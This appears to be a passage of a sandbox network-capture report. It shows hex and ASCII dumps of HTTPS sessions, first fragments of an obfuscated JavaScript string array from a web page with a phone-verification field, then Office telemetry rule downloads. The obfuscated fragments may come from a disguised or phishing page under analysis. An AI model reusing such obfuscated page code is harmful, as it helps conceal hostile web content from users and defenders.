7c 34 7c 30 7c 32 7c 31 27 2c 27 38 41 68 6d 6e Data Ascii: fo','r4q/FDUfih','le\x20{\x20color','82333;\x20bor','items-md-s','l::after\x20{','id~.invali','button::-m','\x20#004085;\x20','bottom:\x20.5','dth:\x20100%\x20','jpeg;base6','(0,\x200,\x200,\x20','\x20}\x20.col-lg','der:\x208\x20}\x20.','3\|4\|0\|2\|1','8Ahmn
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 6f 72 64 65 72 2d 78 6c 27 2c 27 5c 78 32 30 61 75 74 6f 3b 5c 78 32 30 68 65 69 27 2c 27 65 63 6f 6e 64 61 72 79 2e 64 27 2c 27 7d 5c 78 32 30 2e 66 6c 6f 61 74 2d 78 27 2c 27 63 65 6e 74 65 72 65 64 5c 78 32 30 7b 27 2c 27 5c 78 32 30 2d 31 35 70 78 3b 5c 78 32 30 6d 61 27 2c 27 61 6e 74 3b 5c 78 32 30 2d 6d 73 2d 66 27 2c 27 73 69 7a 65 3a 5c 78 32 30 31 33 70 78 27 2c 27 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 27 2c 27 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 32 30 27 2c 27 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 32 30 3c 27 2c 27 6c 6f 63 6b 3b 5c 78 32 30 77 69 64 74 27 2c 27 6f 2b 36 39 6b 6c 31 38 67 72 27 2c 27 6e 74 65 78 74 2e 66 6f 72 6d 27 2c 27 65 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 27 2c 27 70 72 65 66 65 72 72 65 64 2d 27 Data Ascii: order-xl','\x20auto;\x20hei','econdary.d','}\x20.float-x','centered\x20{','\x20-15px;\x20ma','ant;\x20-ms-f','size:\x2013px',';\x20font-siz',':before\x20{\x20','-right\x22>\x20<','lock;\x20widt','o+69kl18gr','ntext.form','er:\x205\x20}\x20.o','preferred-'
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 68 74 5c 78 32 30 7b 5c 78 32 30 70 61 27 2c 27 2d 5c 78 32 30 31 70 78 29 3b 5c 78 32 30 62 6f 27 2c 27 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 21 27 2c 27 4e 56 65 54 44 27 2c 27 63 28 31 30 30 25 5c 78 32 30 2d 5c 78 32 30 34 27 2c 27 6f 6c 6f 72 3a 5c 78 32 30 23 31 35 35 27 2c 27 5c 78 32 30 6d 74 2d 34 5c 78 32 32 3e 5c 78 32 30 3c 69 27 2c 27 6e 74 2d 66 61 6d 69 6c 79 3a 27 2c 27 76 65 72 2d 62 6f 64 79 5c 78 32 30 7b 27 2c 27 3a 5c 78 32 30 76 65 72 74 69 63 61 6c 27 2c 27 70 6c 61 69 6e 74 65 78 74 5c 78 32 30 27 2c 27 6f 72 64 65 72 2d 78 6c 2d 31 27 2c 27 78 2d 70 72 65 66 65 72 72 65 27 2c 27 5d 5c 78 32 30 2e 61 72 72 6f 77 2c 5c 78 32 30 27 2c 27 73 72 63 3d 5c 78 32 32 68 74 74 70 73 27 2c 27 75 70 3e 2e 63 61 72 64 3a 66 27 2c 27 5c Data Ascii: ht\x20{\x20pa','-\x201px);\x20bo',':\x201.5rem\x20!','NVeTD','c(100%\x20-\x204','olor:\x20#155','\x20mt-4\x22>\x20<i','nt-family:','ver-body\x20{',':\x20vertical','plaintext\x20','order-xl-1','x-preferre',']\x20.arrow,\x20','src=\x22https','up>.card:f','\
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 2c 27 70 74 79 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 59 6e 41 56 51 54 79 53 65 41 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 62 74 27 2c 27 70 6c 61 79 3a 6e 6f 6e 65 5c 78 32 32 27 2c 27 5c 78 32 30 23 64 63 33 35 34 35 5c 78 32 30 7d 27 2c 27 6f 70 5c 78 32 30 2e 61 72 72 6f 77 5c 78 32 30 27 2c 27 74 6f 6d 2d 63 6f 6e 74 72 6f 27 2c 27 77 3a 3a 62 65 66 6f 72 65 5c 78 32 30 27 2c 27 72 6f 6c 2d 70 6c 61 69 6e 74 27 2c 27 65 61 6e 29 5c 78 32 37 2c 5c 78 32 37 53 65 67 27 2c 27 77 79 51 58 58 27 2c 27 73 74 2d 63 68 69 6c 64 5c 78 32 30 2e 27 2c 27 2f 73 76 67 25 33 45 5c 78 32 32 29 5c 78 32 30 27 2c 27 65 72 74 2d 64 61 6e 67 65 72 27 2c 27 69 7a 65 3a 5c 78 32 30 31 34 70 78 3b 27 2c 27 65 66 74 3a 5c 78 32 30 2e 32 35 72 Data Ascii: ,'pty\x20{\x20disp','YnAVQTySeA','\x20.5)\x20}\x20.bt','play:none\x22','\x20#dc3545\x20}','op\x20.arrow\x20','tom-contro','w::before\x20','rol-plaint','ean)\x27,\x27Seg','wyQXX','st-child\x20.','/svg%3E\x22)\x20','ert-danger','ize:\x2014px;','eft:\x20.25r
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 6f 63 6b 71 75 6f 74 65 5c 78 32 30 7b 27 2c 27 30 30 3b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 7d 5c 78 32 30 2e 6d 2d 6c 67 2d 34 5c 78 32 30 27 2c 27 3a 5c 78 32 30 69 6e 6c 69 6e 65 5c 78 32 30 21 27 2c 27 6d 64 3e 2e 63 6f 6e 74 61 69 27 2c 27 7a 68 77 72 4a 27 2c 27 6a 6f 34 69 6e 4b 44 64 53 4e 27 2c 27 67 6e 3a 5c 78 32 30 62 6f 74 74 6f 6d 27 2c 27 6d 3a 66 69 72 73 74 2d 63 68 27 2c 27 32 35 29 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 27 2c 27 5c 78 32 32 63 6f 6e 74 61 69 6e 65 72 27 2c 27 5c 78 32 30 2e 69 6e 70 75 74 2d 67 72 27 2c 27 5c 78 32 32 3e 5c 78 32 30 3c 64 69 76 3e 5c 78 32 30 3c 27 2c 27 6f 77 3a 5c 78 32 30 31 3b 5c 78 32 30 6d 61 78 27 2c 27 23 76 65 72 69 66 54 65 6c 70 27 2c Data Ascii: ,'.arrow,\x20.b','ockquote\x20{','00;\x20border','}\x20.m-lg-4\x20',':\x20inline\x20!','md>.contai','zhwrJ','jo4inKDdSN','gn:\x20bottom','m:first-ch','25)\x20}\x20.nav','\x22container','\x20.input-gr','\x22>\x20<div>\x20<','ow:\x201;\x20max','#verifTelp',

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.17	49778	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:22 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 34637610-b01e-0001-0dfd-9646e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160322Z-186895dd8bdfvrj8hC1EWRcaww000000088g000000003ye0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.17	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:22 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: 7f2185fb-401e-0015-4016-970e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160322Z-186895dd8bdxtkvkhC1EWRt6ys000000030000000000d4aq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.17	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule120119v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:22 GMT Content-Type: text/xml Content-Length: 1331 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:55 GMT ETag: "0x8DC582B9ECD1957" x-ms-request-id: 24fab727-b01e-00ab-7351-97dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160322Z-186895dd8bd48sshhC1EWRwmxg00000007x000000000385x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	1331	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 52 6f 6c 6c 62 61 63 6b 53 65 73 73 69 6f 6e 4d 65 74 61 64 61 74 61 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120119" V="0" DC="SM" EN="Office.System.SystemHealthRollbackSessionMetadata" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49781	13.107.246.60	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule224900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 443 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:32 GMT ETag: "0x8DC582BD91CC9CE" x-ms-request-id: 53b6e231-501e-0016-7344-97181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bdh8h7whC1EWRqw7s000000073000000000dv7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	443	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 72 35 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 44 6f 4c 69 63 56 61 6c 69 64 61 74 69 6f 6e 4d 6f 64 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224900" V="0" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bbr5m" /> <F T="2"> <O T="EQ"> <L> <S T="1" F="DoLicValidationMode" /> </L> <R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.17	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704101v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53D8A48" x-ms-request-id: cf5c638a-a01e-006f-7444-9713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bddc5hwhC1EWR2xzg00000004q00000000058nu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 69 76 61 63 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704101" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Privacy.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.17	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704100v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFEB4313" x-ms-request-id: 1e3b0f61-b01e-001e-7944-970214000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bdfvrj8hC1EWRcaww000000084g00000000exq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 69 76 61 63 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 69 76 61 63 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704100" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Privacy" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPrivacy" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.17	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704201v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1417 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEABDBBEE" x-ms-request-id: 0163ef0e-701e-0098-5444-97395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bddc5hwhC1EWR2xzg00000004gg00000000mx0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1417	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 32 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704201" V="0" DC="SM" EN="Office.Telemetry.Event.Office.CommandExecution.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTena

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.17	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704200v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1380 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6940EAC" x-ms-request-id: 3b9bd4c5-a01e-0032-4144-971949000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bdsg5dkhC1EWR1ben000000029g00000000030y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1380	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 32 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704200" V="0" DC="SM" EN="Office.Telemetry.Event.Office.CommandExecution" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCommandExecution" S="Medium" /

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.17	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704151v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBDA4D00" x-ms-request-id: 4020c5b6-b01e-0001-7544-9746e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bddc5hwhC1EWR2xzg00000004p00000000087r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 44 6f 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704151" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AppDocs.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAp

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.17	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	199	OUT	GET /rules/rule704150v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
